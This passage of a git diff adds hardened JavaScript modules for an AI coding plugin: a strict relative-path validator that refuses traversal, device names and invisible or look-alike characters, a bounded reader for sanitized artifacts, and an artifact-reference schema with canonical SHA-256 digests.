never echo the hostile +// character itself, only its U+ notation and offset. +// +// Intrinsic hardening: every dynamic surface used after caller input exists +// is captured once at clean import. String scanning is a manual indexed walk +// (captured codePointAt/charCodeAt/normalize/split/startsWith/endsWith), so +// a post-import patch of String iteration, RegExp, Array methods, or +// Buffer.byteLength can neither alter acceptance nor execute caller code. + +import { Buffer as NodeBuffer } from 'node:buffer'; + +import { + capturedFreeze, + capturedUtf8ByteLength, +} from './grammar.mjs'; +import { RunContractV1Error } from './run-manifest.mjs'; + +export const ARTIFACT_PATH_POLICY_ID = 'codex-co-engineer.artifact-path.v1'; + +export const ARTIFACT_PATH_MAX_BYTES = 1024; +export const ARTIFACT_PATH_MAX_SEGMENTS = 16; +export const ARTIFACT_PATH_SEGMENT_MAX_BYTES = 128; + +export const ARTIFACT_RELATIVE_PATH_ERROR_CODES = capturedFreeze([ + 'absolute_path_denied', + 'alias_segment_denied', + 'colon_denied', + 'control_character_denied', + 'edge_character_denied', + 'empty_path', + 'empty_segment_denied', + 'invalid_encoding', + 'invalid_separator', + 'invalid_type', + 'invisible_character_denied', + 'out_of_range', + 'reserved_device_name_denied', + 'segment_count_exceeded', + 'segment_too_long', + 'separator_lookalike_denied', + 'trailing_slash_denied', +]); + +function fail(code, path, message) { + throw new RunContractV1Error(code, path, message); +} + +// ---- Captured intrinsics, taken exactly once at initialization. ----------- +const BUFFER_BYTE_LENGTH = NodeBuffer.byteLength; +const FUNCTION_CALL = Function.prototype.call; +const callBound = (method) => FUNCTION_CALL.bind(method); +const STRING_CHAR_CODE_AT = callBound(String.prototype.charCodeAt); +const STRING_CODE_POINT_AT = callBound(String.prototype.codePointAt); +const STRING_NORMALIZE = callBound(String.prototype.normalize); +const STRING_SPLIT = callBound(String.prototype.split); +const STRING_STARTS_WITH = callBound(String.prototype.startsWith); +const STRING_ENDS_WITH = callBound(String.prototype.endsWith); +const STRING_FROM_CODE_POINT = String.fromCodePoint; +const STRING = String; + +const SEGMENT_SEPARATOR = '/'; +const EMPTY_STRING = ''; +const FULL_STOP = '.'; +const SPACE = ' '; +const BACKSLASH_CODE_POINT = 0x5c; +const COLON_CODE_POINT = 0x3a; +const FULL_STOP_CODE_POINT = 0x2e; +const SPACE_CODE_POINT = 0x20; + +// Closed invisible/format/bidi/line-separator/tag ranges. Anything here can +// change how a path renders or resolves while surviving casual review, so it +// is refused outright instead of being interpreted. +const INVISIBLE_RANGES = capturedFreeze([ + [0x00ad, 0x00ad], // soft hyphen + [0x061c, 0x061c], // Arabic letter mark + [0x180e, 0x180e], // Mongolian vowel separator + [0x200b, 0x200f], // zero-width series and LRM/RLM + [0x2028, 0x202e], // line/paragraph separators and bidi overrides + [0x2060, 0x2064], // word joiner and invisible operators + [0x2066, 0x2069], // bidi isolates + [0xfeff, 0xfeff], // BOM / zero-width no-break space + [0xfff9, 0xfffb], // interlinear annotation anchors + [0x1d173, 0x1d17a], // musical formatting controls + [0xe0001, 0xe0001], // language tag + [0xe0020, 0xe007f], // tag characters +]); + +// Solidus look-alikes: code points that display as slashes or backslashes on +// common platforms while remaining ordinary letters to a POSIX kernel, so a +// reviewer sees more separators than the resolver does. +const SEPARATOR_LOOKALIKES = capturedFreeze([ + 0x2044, // fraction slash + 0x2215, // division slash + 0x27cb, // mathematical rising diagonal + 0x27cd, // mathematical falling diagonal + 0x29f8, // big solidus + 0xfe68, // small reverse solidus + 0xff0f, // fullwidth solidus + 0xff3c, // fullwidth reverse solidus +]); + +// Windows reserved device names, compared case-insensitively against the +// stem before the first dot so `CON.txt` is caught exactly like `CON`. +const RESERVED_DEVICE_STEMS = capturedFreeze((() => { + const stems = ['AUX', 'CLOCK$', 'CON', 'NUL', 'PRN']; + for (let digit = 0; digit <= 9; digit += 1) { + const suffix = STRING(digit); + stems.push(`COM${suffix}`, `LPT${suffix}`); + } + return stems.sort(); +})()); + +function asciiUpperFold(text) { + let folded = EMPTY_STRING; + for (let index = 0; index < text.length; index += 1) { + const unit = STRING_CHAR_CODE_AT(text, index); + folded += unit >= 0x61 && unit <= 0x7a + ? STRING_FROM_CODE_POINT(unit - 0x20) + : text[index]; + } + return folded; +} + +function deviceStemOf(segment) { + const dot = segment.indexOf(FULL_STOP); + const stem = dot === -1 ? segment : segment.slice(0, dot); + if (stem.length === 0) return null; + const folded = asciiUpperFold(stem); + for (let index = 0; index < RESERVED_DEVICE_STEMS.length; index += 1) { + if (RESERVED_DEVICE_STEMS[index] === folded) return folded; + } + return null; +} + +function isDotOnlySegment(segment) { + for (let index = 0; index < segment.length; index += 1) { + if (segment[index] !== FULL_STOP) return false; + } + return segment.length > 0; +} + +function containsBackslash(value) { + for (let index = 0; index < value.length; index += 1) { + if (STRING_CHAR_CODE_AT(value, index) === BACKSLASH_CODE_POINT) return true; + } + return false; +} + +function assertWellFormed(value, path) { + // Walk code points, not code units: every astral character is two UTF-16 + // code units and both units live in the surrogate block, so a naive + // unit scan would condemn perfectly well-formed emoji or CJK extensions. + // Only an unpaired surrogate (which codePointAt reports as itself) fails. + let index = 0; + while (index < value.length) { + const codePoint = STRING_CODE_POINT_AT(value, index); + if (codePoint >= 0xd800 && codePoint <= 0xdfff) { + fail('invalid_encoding', path, + `${path} contains a lone surrogate at code-unit index ${index}; ` + + 'artifact paths must be well-formed Unicode.'); + } + index += codePoint > 0xffff ? 2 : 1; + } +} + +function assertTotalBytes(value, path) { + const bytes = capturedUtf8ByteLength(value); + if (bytes < 1 || bytes > ARTIFACT_PATH_MAX_BYTES) { + fail('out_of_range', path, + `${path} is ${bytes} UTF-8 bytes; allowed range is 1..${ARTIFACT_PATH_MAX_BYTES}.`); + } + return bytes; +} + +function assertNormalized(value, path) { + if (STRING_NORMALIZE(value, 'NFC') !== value) { + fail('invalid_encoding', path, `${path} is not NFC-normalized; artifact paths must use exactly NFC.`); + } +} + +function assertSlashShape(value, path) { + if (containsBackslash(value)) { + fail('invalid_separator', path, + `${path} must use '${SEGMENT_SEPARATOR}' separators; a backslash is not portable.`); + } + if (STRING_STARTS_WITH(value, SEGMENT_SEPARATOR)) { + fail('absolute_path_denied', path, + `${path} must be relative to the run's artifact root; absolute paths are denied.`); + } + if (STRING_ENDS_WITH(value, SEGMENT_SEPARATOR)) { + fail('trailing_slash_denied', path, + `${path} must name an artifact, not end with '${SEGMENT_SEPARATOR}'.`); + } +} + +function assertSegmentStructure(segments, path) { + if (segments.length > ARTIFACT_PATH_MAX_SEGMENTS) { + fail('segment_count_exceeded', path, + `${path} spans ${segments.length} segments; at most ${ARTIFACT_PATH_MAX_SEGMENTS} are allowed.`); + } + for (let index = 0; index < segments.length; index += 1) { + const segment = segments[index]; + if (segment.length === 0) { + fail('empty_segment_denied', path, `${path} contains an empty segment at position ${index}.`); + } + if (isDotOnlySegment(segment)) { + fail('alias_segment_denied', path, + `${path} segment ${index} is made only of dots; '.' and '..' style aliases are denied.`); + } + const reserved = deviceStemOf(segment); + if (reserved !== null) { + fail('reserved_device_name_denied', path, + `${path} segment ${index} uses reserved device name ${reserved}; device names are denied.`); + } + const last = segment.length - 1; + if (STRING_CHAR_CODE_AT(segment, last) === FULL_STOP_CODE_POINT + || STRING_CHAR_CODE_AT(segment, last) === SPACE_CODE_POINT + || STRING_CHAR_CODE_AT(segment, 0) === SPACE_CODE_POINT) { + fail('edge_character_denied', path, + `${path} segment ${index} has a leading space or a trailing dot/space that Windows tooling strips.`); + } + if (BUFFER_BYTE_LENGTH(segment, 'utf8') > ARTIFACT_PATH_SEGMENT_MAX_BYTES) { + fail('segment_too_long', path, + `${path} segment ${index} exceeds ${ARTIFACT_PATH_SEGMENT_MAX_BYTES} UTF-8 bytes.`); + } + } +} + +function codePointInRanges(codePoint, ranges) { + for (let index = 0; index < ranges.length; index += 1) { + const range = ranges[index]; + if (codePoint >= range[0] && codePoint <= range[1]) return true; + } + return false; +} + +function listContainsCodePoint(list, codePoint) { + for (let index = 0; index < list.length; index += 1) { + if (list[index] === codePoint) return true; + } + return false; +} + +function uNotation(codePoint) { + return `U+${codePoint.toString(16).padStart(4, '0')}`; +} + +function assertCharacterLegality(value, path) { + let offset = 0; + while (offset < value.length) { + const codePoint = STRING_CODE_POINT_AT(value, offset); + const width = codePoint > 0xffff ? 2 : 1; + if (codePoint < 0x20 || (codePoint >= 0x7f && codePoint <= 0x9f)) { + fail('control_character_denied', path, + `${path} contains control character ${uNotation(codePoint)} at code-point offset ${offset}.`); + } + if (codePointInRanges(codePoint, INVISIBLE_RANGES)) { + fail('invisible_character_denied', path, + `${path} contains invisible formatting character ${uNotation(codePoint)} at code-point offset ${offset}.`); + } + if (listContainsCodePoint(SEPARATOR_LOOKALIKES, codePoint)) { + fail('separator_lookalike_denied', path, + `${path} contains solidus look-alike ${uNotation(codePoint)} at code-point offset ${offset}.`); + } + if (codePoint === COLON_CODE_POINT) { + fail('colon_denied', path, + `${path} contains ':' at code-point offset ${offset}; colons are denied to foreclose drive, ` + + 'alternate-data-stream, and scheme spellings.'); + } + offset += width; + } +} + +// Validate one strict portable relative artifact path and return a detached, +// frozen descriptor over the accepted canonical form. The accepted form is +// exactly the submitted string: no trimming, case folding, separator +// rewriting, or Unicode re-encoding ever occurs, so two distinct accepted +// inputs always stay distinct. +export function validateArtifactRelativePathV1(value, path = 'relative_path') { + if (typeof value !== 'string') { + fail('invalid_type', path, `${path} must be a string.`); + } + if (value.length === 0) { + fail('empty_path', path, `${path} must not be empty.`); + } + assertWellFormed(value, path); + const bytes = assertTotalBytes(value, path); + assertNormalized(value, path); + assertSlashShape(value, path); + const segments = STRING_SPLIT(value, SEGMENT_SEPARATOR); + assertSegmentStructure(segments, path); + assertCharacterLegality(value, path); + return capturedFreeze({ + path: value, + segments: capturedFreeze([...segments]), + byte_length: bytes, + segment_count: segments.length, + }); +} + +// Boolean predicate twin of the validator: never throws, never partially +// accepts, and agrees with validateArtifactRelativePathV1 on every input. +export function isArtifactRelativePathV1(value) { + try { + validateArtifactRelativePathV1(value, 'relative_path'); + return true; + } catch { + return false; + } +} diff --git a/plugins/codex-co-engineer/mcp/v3/artifact-reader.mjs b/plugins/codex-co-engineer/mcp/v3/artifact-reader.mjs new file mode 100644 index 0000000..f258642 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/artifact-reader.mjs @@ -0,0 +1,239 @@ +// Bounded sanitized artifact reader (ADR 0001 identifiers +// `bounded_evidence`, `sanitized_bounded_evidence_model_facing`, +// Gate A `gate_a_valid_raw_and_sanitized_artifacts`). +// +// Additive v3 module for R1-P10. It is the model-facing contract over the +// P08 store's serialized sanitized range-read hook: +// +// 1. Accept only an exact validated sanitized ArtifactRefV1. Raw refs +// are denied before any store I/O. +// 2. Validate bounded intrinsic integer offset/range options against +// fixed range and wire/response caps. +// 3. In one serialized store operation, no-follow open the regular +// single-link artifact, re-validate sidecar/ref/identity/size/digest, +// hash the whole file in fixed chunks while retaining only the +// requested bounded range, and prove before/after stability. +// 4. Return frozen detached JSON-safe metadata plus the bounded +// selected window as base64. Never expose raw evidence, store roots, +// paths, OS errors, or a whole-file buffer. +// 5. Distinguish reader/wire clipping from upstream sanitizer +// truncation. Until P09 provenance exists, source size, redaction +// count, sanitizer version, and completeness are unknown — never +// false and never invented as zero. +// +// This module performs no sanitization and does not import P09 internals. +// It reads P08-published sanitized artifacts only. +// +// Out of scope: P09 sanitizer provenance, MCP registration, provider +// sinks, cleanup, supervisor/server wiring, ArtifactRef schema changes, +// and P11/P12. + +import { Buffer as NodeBuffer } from 'node:buffer'; + +import { + MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, + artifactRefDigestV1, + parseArtifactRefV1, +} from './artifact-ref.mjs'; +import { + ARTIFACT_STORE_RANGE_READ_MAX_BYTES, + ARTIFACT_STORE_SCHEMA_ID, + readStoredSanitizedRangeV1, +} from './artifact-store.mjs'; +import { + capturedFreeze, +} from './grammar.mjs'; +import { assertAllowedKeys } from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertPlainObject, + fail, + freezeData, + hasOwn, + optOwn, +} from './selection-json.mjs'; + +export const ARTIFACT_READER_SCHEMA_ID = 'codex-co-engineer.artifact-reader.v1'; + +export const ARTIFACT_READER_MAX_RANGE_BYTES = ARTIFACT_STORE_RANGE_READ_MAX_BYTES; +// Serialized JSON of one reader page, including selected content, must fit. +export const ARTIFACT_READER_MAX_WIRE_BYTES = 12_288; + +export const ARTIFACT_READER_OPTION_KEYS = capturedFreeze(['offset', 'max_bytes']); + +export const ARTIFACT_READER_PAGE_KEYS = capturedFreeze([ + 'schema', + 'artifact_ref', + 'namespace', + 'byte_length', + 'sha256', + 'ref_digest', + 'offset', + 'max_bytes', + 'selected_byte_length', + 'selected_encoding', + 'selected_content', + 'reader_clipped', + 'more', + 'next_offset', + 'source_byte_length', + 'redaction_count', + 'sanitizer_version', + 'complete', + 'upstream_truncated', +]); + +export const ARTIFACT_READER_ERROR_CODES = capturedFreeze([ + 'raw_artifact_denied', + 'invalid_type', + 'invalid_format', + 'out_of_range', + 'unknown_key', + 'missing_key', +]); + +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const STRING = String; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_BYTE_LENGTH = NodeBuffer.byteLength; +const BUFFER_TO_STRING = NodeBuffer.prototype.toString; +const JSON_STRINGIFY = JSON.stringify; +const MATH_CEIL = Math.ceil; +const REFLECT_APPLY = Reflect.apply; + +function diagnostic(message) { + const text = STRING(message ?? ''); + return text.length <= 200 ? text : text.slice(0, 200); +} + +function failReader(code, field, message) { + fail(code, field, diagnostic(message)); +} + +function assertIntrinsicNonNegativeInteger(value, field, min, max) { + if (typeof value !== 'number' || !NUMBER_IS_SAFE_INTEGER(value)) { + failReader('invalid_type', field, `${field} must be an intrinsic safe integer.`); + } + if (value < min || value > max) { + failReader('out_of_range', field, `${field} must be an integer in ${min}..${max}.`); + } + return value; +} + +function parseSanitizedRef(refInput) { + const snapshot = parseArtifactRefV1(refInput, 'artifact_ref'); + if (snapshot.artifact_class !== 'sanitized') { + failReader('raw_artifact_denied', 'artifact_ref.artifact_class', + 'The bounded reader accepts only sanitized ArtifactRefV1 values; raw evidence is owner-only and is not read.'); + } + return snapshot; +} + +export function parseSanitizedReaderOptionsV1(input, path = 'options') { + if (input === undefined) { + return capturedFreeze({ + offset: 0, + max_bytes: ARTIFACT_READER_MAX_RANGE_BYTES, + }); + } + assertPlainObject(input, 'invalid_type', path, 'Reader options'); + assertDirectJsonClosure(input, path); + assertAllowedKeys(input, ARTIFACT_READER_OPTION_KEYS, path); + let offset = 0; + if (hasOwn(input, 'offset')) { + offset = assertIntrinsicNonNegativeInteger( + optOwn(input, 'offset'), `${path}.offset`, 0, MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, + ); + } + let maxBytes = ARTIFACT_READER_MAX_RANGE_BYTES; + if (hasOwn(input, 'max_bytes')) { + maxBytes = assertIntrinsicNonNegativeInteger( + optOwn(input, 'max_bytes'), `${path}.max_bytes`, 0, ARTIFACT_READER_MAX_RANGE_BYTES, + ); + } + return capturedFreeze({ offset, max_bytes: maxBytes }); +} + +function encodeSelected(bytes) { + return REFLECT_APPLY(BUFFER_TO_STRING, bytes, ['base64']); +} + +function decodeSelected(encoded) { + return BUFFER_FROM(encoded, 'base64'); +} + +function requestedTake(range, options) { + const remaining = range.byte_length - range.offset; + return options.max_bytes < remaining ? options.max_bytes : remaining; +} + +function buildPage(range, options, selectedBytes) { + const selectedLength = selectedBytes.byteLength; + const end = range.offset + selectedLength; + const more = end < range.byte_length; + const clipped = selectedLength < requestedTake(range, options); + return freezeData({ + schema: ARTIFACT_READER_SCHEMA_ID, + artifact_ref: range.artifact_ref, + namespace: 'sanitized', + byte_length: range.byte_length, + sha256: range.sha256, + ref_digest: artifactRefDigestV1(range.artifact_ref, 'artifact_ref').digest, + offset: range.offset, + max_bytes: options.max_bytes, + selected_byte_length: selectedLength, + selected_encoding: 'base64', + selected_content: encodeSelected(selectedBytes), + reader_clipped: clipped === true, + more: more === true, + next_offset: more ? end : null, + source_byte_length: null, + redaction_count: null, + sanitizer_version: null, + complete: null, + upstream_truncated: null, + }); +} + +function fitToWireCap(range, options) { + let selected = decodeSelected(range.selected_content); + if (selected.byteLength !== range.selected_byte_length) { + failReader('invalid_format', 'selected_content', + 'The range primitive returned a selected window whose encoding did not round-trip.'); + } + while (true) { + const page = buildPage(range, options, selected); + const wire = BUFFER_BYTE_LENGTH(JSON_STRINGIFY(page), 'utf8'); + if (wire <= ARTIFACT_READER_MAX_WIRE_BYTES) return page; + if (selected.byteLength === 0) { + failReader('out_of_range', 'options', + 'The reader response exceeds the wire cap even with no selected content.'); + } + const over = wire - ARTIFACT_READER_MAX_WIRE_BYTES; + let shrink = MATH_CEIL((over * 3) / 4); + if (shrink < 1) shrink = 1; + if (shrink > selected.byteLength) shrink = selected.byteLength; + selected = selected.subarray(0, selected.byteLength - shrink); + } +} + +function assertStoreHandle(store) { + assertPlainObject(store, 'invalid_type', 'store', 'The artifact store handle'); + if (store.schema !== ARTIFACT_STORE_SCHEMA_ID || typeof store.internalOperate !== 'function') { + failReader('invalid_type', 'store', 'The artifact store handle was not produced by the artifact store.'); + } + return store; +} + +export async function readSanitizedArtifactV1(store, refInput, options) { + assertStoreHandle(store); + const snapshot = parseSanitizedRef(refInput); + const parsedOptions = parseSanitizedReaderOptionsV1(options); + const range = await readStoredSanitizedRangeV1( + store, snapshot, parsedOptions.offset, parsedOptions.max_bytes, + ); + return fitToWireCap(range, parsedOptions); +} + +capturedFreeze(parseSanitizedReaderOptionsV1); +capturedFreeze(readSanitizedArtifactV1); diff --git a/plugins/codex-co-engineer/mcp/v3/artifact-ref.mjs b/plugins/codex-co-engineer/mcp/v3/artifact-ref.mjs new file mode 100644 index 0000000..f5a09e8 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/artifact-ref.mjs @@ -0,0 +1,377 @@ +// ArtifactRefV1 — closed bounded artifact-reference contract plus its +// canonical serialization and digest authority (ADR 0001 identifiers +// `bounded_evidence`, `exact_identities`, +// `gate_a_valid_raw_and_sanitized_artifacts`). +// +// Additive v3 module for W3-P07. An ArtifactRefV1 is a bounded declaration +// that one run child produced one artifact of one kind in one class at one +// strict portable relative path with one declared byte length, SHA-256 +// content digest, and media/content metadata. It binds exactly ten keys: +// +// schema exact "codex-co-engineer.artifact-ref.v1" +// run_id exact RunManifestV1 run identifier +// assignment_id exact AssignmentManifestV1 child identifier +// artifact_kind closed enum bound to the P17 capability vocabulary +// (CAPABILITY_ARTIFACT_KINDS), detached here +// artifact_class "raw" (owner-only local evidence) or "sanitized" +// (model-facing bounded projection) +// relative_path strict portable relative path per artifact-path.mjs; +// the path carries NO class marker — consumers trust the +// ref, never the name +// byte_length declared artifact size in bytes, 1..cap(class); +// sanitized projections face the model and carry the +// tighter cap, raw evidence stays host-local under a +// larger but finite cap (ADR `bounded_evidence`) +// sha256 exact 64-character lowercase hex of the artifact bytes +// media_type closed enum +// content_encoding closed enum ("identity" or "base64") +// +// This module is PURE SCHEMA AND PATH POLICY ONLY. It performs no +// filesystem, network, or process I/O and it makes no claim that P08 +// artifact storage exists: byte_length and sha256 are producer declarations +// that only a later storage authority may bind to real bytes. There is no +// constructor from bytes, no reader, no sanitizer, and no existence check. +// +// Identity conventions follow the accepted P03 authority shape without +// touching it: digests are computed only over validator-owned canonical +// forms, never caller views, behind explicit domain separation and +// versioning — a domain string, a 32-bit big-endian version, a ratified +// private label, and every part behind a 32-bit big-endian length prefix, +// all framed with SHA-256. Canonical serialization reuses the shared +// canonical JSON writer (sorted keys, minimal escaping, well-formed Unicode, +// safe integers), so key order and whitespace cannot change a digest while +// any meaningful value change must. +// +// Hostile inputs fail closed before any effect: live and revoked Proxies, +// accessor properties (getters are never invoked), symbol keys, exotic +// prototypes, own undefined values, sparse or extended arrays, aliased or +// cyclic graphs, and oversized/deep payloads are rejected with stable typed +// errors before any value is read into the contract. Parsed results are +// deep-frozen detached snapshots built property-by-property, so later +// mutation of the caller object cannot drift a digest or a comparison. +// +// Ordering is deterministic: compareArtifactRefsV1 fixes one total tuple +// order and orderArtifactRefsV1 returns a bounded duplicate-free frozen +// list, so equal sets of references always serialize and hash identically +// regardless of submission order. + +import { Buffer } from 'node:buffer'; +import { createHash, timingSafeEqual } from 'node:crypto'; + +import { + capturedDescriptor, + capturedFreeze, + capturedIncludes, +} from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { validateArtifactRelativePathV1 } from './artifact-path.mjs'; +import { CAPABILITY_ARTIFACT_KINDS } from './capability-bridge.mjs'; +import { + RunContractV1Error, + assertAllowedKeys, + assertDenseJsonArray, + assertRunId, + isAssignmentId, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + hasOwn, + optOwn, +} from './selection-json.mjs'; + +export const ARTIFACT_REF_SCHEMA_ID = 'codex-co-engineer.artifact-ref.v1'; + +export const ARTIFACT_DIGEST_DOMAIN = 'codex-co-engineer.artifact.v1'; +export const ARTIFACT_DIGEST_VERSION = 1; +export const ARTIFACT_REF_DIGEST_LABEL = 'artifact-ref.v1'; +export const DIGEST_ALGORITHM = 'sha256'; +export const ARTIFACT_DIGEST_HEX_LENGTH = 64; + +// Closed vocabularies. artifact_kind stays bound to the P17 capability +// record vocabulary so a lane cannot reference an artifact kind its provider +// capability could never declare; the copy is detached, so later mutation of +// either exported array cannot change what this module accepts. +export const ARTIFACT_KINDS = capturedFreeze([...CAPABILITY_ARTIFACT_KINDS]); +export const ARTIFACT_CLASSES = capturedFreeze(['raw', 'sanitized']); +export const MEDIA_TYPES = capturedFreeze([ + 'application/json', + 'application/octet-stream', + 'application/x-ndjson', + 'text/markdown', + 'text/plain', +]); +export const CONTENT_ENCODINGS = capturedFreeze(['base64', 'identity']); + +export const ARTIFACT_REF_ALLOWED_KEYS = capturedFreeze([ + 'schema', + 'run_id', + 'assignment_id', + 'artifact_kind', + 'artifact_class', + 'relative_path', + 'byte_length', + 'sha256', + 'media_type', + 'content_encoding', +]); + +export const MIN_ARTIFACT_BYTE_LENGTH = 1; +export const MAX_RAW_ARTIFACT_BYTE_LENGTH = 33_554_432; +export const MAX_SANITIZED_ARTIFACT_BYTE_LENGTH = 262_144; +export const MAX_ARTIFACT_REFS = 64; + +const PRIVATE_SHA256_PATTERN = /^[0-9a-f]{64}$/u; +export const ARTIFACT_SHA256_PATTERN = new RegExp( + PRIVATE_SHA256_PATTERN.source, PRIVATE_SHA256_PATTERN.flags, +); + +// Stable artifact-specific denial codes. Shared vocabulary codes +// (proxy_denied, accessor_property_denied, symbol_key_denied, +// exotic_prototype_denied, aliased_reference_denied, own_undefined_denied, +// unknown_key, forbidden-class denials, and every artifact-path code) pass +// through unchanged from their owning modules. +export const ARTIFACT_REF_ERROR_CODES = capturedFreeze([ + 'duplicate_artifact_ref', + 'invalid_format', + 'invalid_type', + 'missing_key', + 'out_of_range', + 'refs_exceeded', + 'unknown_artifact_class', + 'unknown_artifact_kind', + 'unknown_content_encoding', + 'unknown_media_type', +]); + +// ---- Captured intrinsics, taken exactly once at initialization. ----------- +const CRYPTO_CREATE_HASH = createHash; +const TIMING_SAFE_EQUAL = timingSafeEqual; +const HASH_PROTOTYPE = Object.getPrototypeOf(CRYPTO_CREATE_HASH(DIGEST_ALGORITHM)); +const HASH_UPDATE = HASH_PROTOTYPE.update; +const HASH_DIGEST = HASH_PROTOTYPE.digest; +const BUFFER_ALLOC = Buffer.alloc.bind(Buffer); +const BUFFER_FROM = Buffer.from.bind(Buffer); +const OBJECT_DEFINE_PROPERTY = Object.defineProperty; +const OBJECT_PROTOTYPE = Object.prototype; +const REFLECT_APPLY = Reflect.apply; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const REGEXP_TEST = RegExp.prototype.test; +const STRING = String; + +function sha256HexPatternMatch(value) { + return REFLECT_APPLY(REGEXP_TEST, PRIVATE_SHA256_PATTERN, [value]) === true; +} + +function maxByteLengthForClass(artifactClass) { + return artifactClass === 'raw' + ? MAX_RAW_ARTIFACT_BYTE_LENGTH + : MAX_SANITIZED_ARTIFACT_BYTE_LENGTH; +} + +function enumError(code, path, label, allowed) { + let joined = ''; + for (let index = 0; index < allowed.length; index += 1) { + joined += index === 0 ? `"${allowed[index]}"` : `, "${allowed[index]}"`; + } + fail(code, path, `${path} must be exactly one of ${joined}; received an outside ${label}.`); +} + +// Validate one ArtifactRefV1 direct-JS value and return a deep-frozen, +// detached snapshot built property-by-property from validated scalars. The +// fixed pipeline order means identical inputs always raise the identical +// first typed error. +export function parseArtifactRefV1(input, path = 'artifact_ref') { + assertPlainObject(input, 'invalid_type', path, `${path}`); + // Closure gate first: proxies, accessors, symbols, exotic prototypes, + // sparse arrays, aliases/cycles, undefined values, depth, and hostile + // shapes are rejected here before any field is interpreted. + assertDirectJsonClosure(input, path); + assertAllowedKeys(input, ARTIFACT_REF_ALLOWED_KEYS, path); + for (let index = 0; index < ARTIFACT_REF_ALLOWED_KEYS.length; index += 1) { + const key = ARTIFACT_REF_ALLOWED_KEYS[index]; + if (!hasOwn(input, key)) { + fail('missing_key', `${path}.${key}`, + `${path}.${key} is required (${ARTIFACT_REF_SCHEMA_ID}); artifact references have no hidden defaults.`); + } + } + + const schema = optOwn(input, 'schema'); + if (schema !== ARTIFACT_REF_SCHEMA_ID) { + fail('invalid_format', `${path}.schema`, + `${path}.schema must be exactly "${ARTIFACT_REF_SCHEMA_ID}".`); + } + const runId = optOwn(input, 'run_id'); + assertRunId(runId, `${path}.run_id`); + const assignmentId = optOwn(input, 'assignment_id'); + if (!isAssignmentId(assignmentId)) { + fail('invalid_format', `${path}.assignment_id`, + `${path}.assignment_id violates the assignment-id grammar; child artifacts bind one exact child.`); + } + const artifactKind = optOwn(input, 'artifact_kind'); + if (!capturedIncludes(ARTIFACT_KINDS, artifactKind)) { + enumError('unknown_artifact_kind', `${path}.artifact_kind`, 'artifact kind', ARTIFACT_KINDS); + } + const artifactClass = optOwn(input, 'artifact_class'); + if (!capturedIncludes(ARTIFACT_CLASSES, artifactClass)) { + enumError('unknown_artifact_class', `${path}.artifact_class`, 'artifact class', ARTIFACT_CLASSES); + } + const relativePath = optOwn(input, 'relative_path'); + validateArtifactRelativePathV1(relativePath, `${path}.relative_path`); + + const byteLength = optOwn(input, 'byte_length'); + if (typeof byteLength !== 'number' || !NUMBER_IS_SAFE_INTEGER(byteLength)) { + fail('invalid_type', `${path}.byte_length`, `${path}.byte_length must be an integer number of bytes.`); + } + const cap = maxByteLengthForClass(artifactClass); + if (byteLength < MIN_ARTIFACT_BYTE_LENGTH || byteLength > cap) { + fail('out_of_range', `${path}.byte_length`, + `${path}.byte_length is ${byteLength} bytes; a ${artifactClass} artifact declares ` + + `${MIN_ARTIFACT_BYTE_LENGTH}..${cap} bytes (ADR bounded_evidence).`); + } + const sha256 = optOwn(input, 'sha256'); + if (typeof sha256 !== 'string' || !sha256HexPatternMatch(sha256)) { + fail('invalid_format', `${path}.sha256`, + `${path}.sha256 must be an exact ${ARTIFACT_DIGEST_HEX_LENGTH}-character lowercase hex SHA-256.`); + } + const mediaType = optOwn(input, 'media_type'); + if (!capturedIncludes(MEDIA_TYPES, mediaType)) { + enumError('unknown_media_type', `${path}.media_type`, 'media type', MEDIA_TYPES); + } + const contentEncoding = optOwn(input, 'content_encoding'); + if (!capturedIncludes(CONTENT_ENCODINGS, contentEncoding)) { + enumError('unknown_content_encoding', `${path}.content_encoding`, 'content encoding', CONTENT_ENCODINGS); + } + + // Detached snapshot: fresh ordinary object, every field installed as a + // frozen enumerable data property copied from the validated value, then + // frozen as a whole. No alias to the caller object survives. + const snapshot = {}; + for (let index = 0; index < ARTIFACT_REF_ALLOWED_KEYS.length; index += 1) { + const key = ARTIFACT_REF_ALLOWED_KEYS[index]; + const value = key === 'byte_length' ? byteLength : capturedDescriptor(input, key).value; + OBJECT_DEFINE_PROPERTY(snapshot, key, { + value, enumerable: true, writable: false, configurable: false, + }); + } + return capturedFreeze(snapshot); +} + +export function validateArtifactRefV1(input, path = 'artifact_ref') { + return parseArtifactRefV1(input, path); +} + +// Canonical serialization of the validator-owned form. The caller view is +// never serialized: parsing happens first, so accessor-shaped lookalikes and +// late-mutating views cannot launder bytes into the canonical text. +export function canonicalArtifactRefJsonV1(input, path = 'artifact_ref') { + return canonicalJsonStringify(parseArtifactRefV1(input, path)); +} + +function framedUpdate(hash, bytes) { + const prefix = BUFFER_ALLOC(4); + prefix.writeUInt32BE(bytes.length, 0); + HASH_UPDATE.call(hash, prefix); + HASH_UPDATE.call(hash, bytes); +} + +// Domain-separated digest over the canonical validated form, following the +// accepted P03 framing conventions (domain, big-endian version, label, and +// each part behind a big-endian length prefix) without extending the P03 +// closed label registry: the artifact label is ratified here and nowhere +// else, so cross-surface digest collision is structurally impossible. +export function artifactRefDigestV1(input, path = 'artifact_ref') { + const snapshot = parseArtifactRefV1(input, path); + const canonical = canonicalJsonStringify(snapshot); + const canonicalBytes = BUFFER_FROM(canonical, 'utf8'); + const hash = CRYPTO_CREATE_HASH(DIGEST_ALGORITHM); + framedUpdate(hash, BUFFER_FROM(ARTIFACT_DIGEST_DOMAIN, 'utf8')); + const version = BUFFER_ALLOC(4); + version.writeUInt32BE(ARTIFACT_DIGEST_VERSION, 0); + HASH_UPDATE.call(hash, version); + framedUpdate(hash, BUFFER_FROM(ARTIFACT_REF_DIGEST_LABEL, 'utf8')); + framedUpdate(hash, canonicalBytes); + return capturedFreeze({ + algorithm: DIGEST_ALGORITHM, + domain: ARTIFACT_DIGEST_DOMAIN, + version: ARTIFACT_DIGEST_VERSION, + label: 